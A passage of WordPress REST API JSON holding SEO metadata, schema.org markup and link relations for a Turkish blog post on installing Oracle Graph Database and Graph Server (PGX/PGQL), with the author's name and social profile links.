\u00e7\u0131k\u0131yor.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#primaryimage\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/ORACLE_GRAPH.jpg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/ORACLE_GRAPH.jpg\",\"width\":640,\"height\":640,\"caption\":\"ORACLE_GRAPH\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\\\/\\\/oraclius.com.tr\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Oracle Graph Database ve Graph Server (PGX\\\/PGQL) Kurulum Rehberi\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/\",\"name\":\"oraclius\",\"description\":\"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.\",\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"alternateName\":\"oracle\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/oraclius.com.tr\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\",\"name\":\"YUNUS EMRE ATAY\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"width\":512,\"height\":512,\"caption\":\"YUNUS EMRE ATAY\"},\"logo\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\"},\"description\":\"oracle\",\"sameAs\":[\"https:\\\/\\\/oraclius.com.tr\",\"https:\\\/\\\/instagram.com\\\/lemratal\",\"https:\\\/\\\/linkedin.com\\\/in\\\/emreatayy\",\"https:\\\/\\\/www.youtube.com\\\/@lemratal\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi","description":"Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki ili\u015fkiler, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye Oracle Graph \u00e7\u0131k\u0131yor.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/oraclius.com.tr\/en\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/","og_locale":"en_US","og_type":"article","og_title":"Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi","og_description":"Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki ili\u015fkiler, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye Oracle Graph \u00e7\u0131k\u0131yor.","og_url":"https:\/\/oraclius.com.tr\/en\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/","og_site_name":"oraclius","article_published_time":"2026-03-16T12:43:25+00:00","article_modified_time":"2026-04-07T08:25:07+00:00","og_image":[{"width":640,"height":640,"url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/ORACLE_GRAPH.jpg","type":"image\/jpeg"}],"author":"YUNUS EMRE ATAY","twitter_card":"summary_large_image","twitter_misc":{"Written by":"YUNUS EMRE ATAY","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#article","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/"},"author":{"name":"YUNUS EMRE ATAY","@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"headline":"Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi","datePublished":"2026-03-16T12:43:25+00:00","dateModified":"2026-04-07T08:25:07+00:00","mainEntityOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/"},"wordCount":2458,"commentCount":0,"publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/ORACLE_GRAPH.jpg","articleSection":["Genel"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/","url":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/","name":"Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#primaryimage"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/ORACLE_GRAPH.jpg","datePublished":"2026-03-16T12:43:25+00:00","dateModified":"2026-04-07T08:25:07+00:00","description":"Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki ili\u015fkiler, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye Oracle Graph \u00e7\u0131k\u0131yor.","breadcrumb":{"@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#primaryimage","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/ORACLE_GRAPH.jpg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/03\/ORACLE_GRAPH.jpg","width":640,"height":640,"caption":"ORACLE_GRAPH"},{"@type":"BreadcrumbList","@id":"https:\/\/oraclius.com.tr\/tr\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/oraclius.com.tr\/"},{"@type":"ListItem","position":2,"name":"Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi"}]},{"@type":"WebSite","@id":"https:\/\/oraclius.com.tr\/#website","url":"https:\/\/oraclius.com.tr\/","name":"oraclius","description":"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.","publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"alternateName":"oracle","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/oraclius.com.tr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09","name":"YUNUS EMRE ATAY","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","width":512,"height":512,"caption":"YUNUS EMRE ATAY"},"logo":{"@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg"},"description":"oracle","sameAs":["https:\/\/oraclius.com.tr","https:\/\/instagram.com\/lemratal","https:\/\/linkedin.com\/in\/emreatayy","https:\/\/www.youtube.com\/@lemratal"]}]}},"_links":{"self":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/811","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/comments?post=811"}],"version-history":[{"count":7,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/811\/revisions"}],"predecessor-version":[{"id":879,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/811\/revisions\/879"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/media\/812"}],"wp:attachment":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/media?parent=811"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/categories?post=811"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/tags?post=811"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}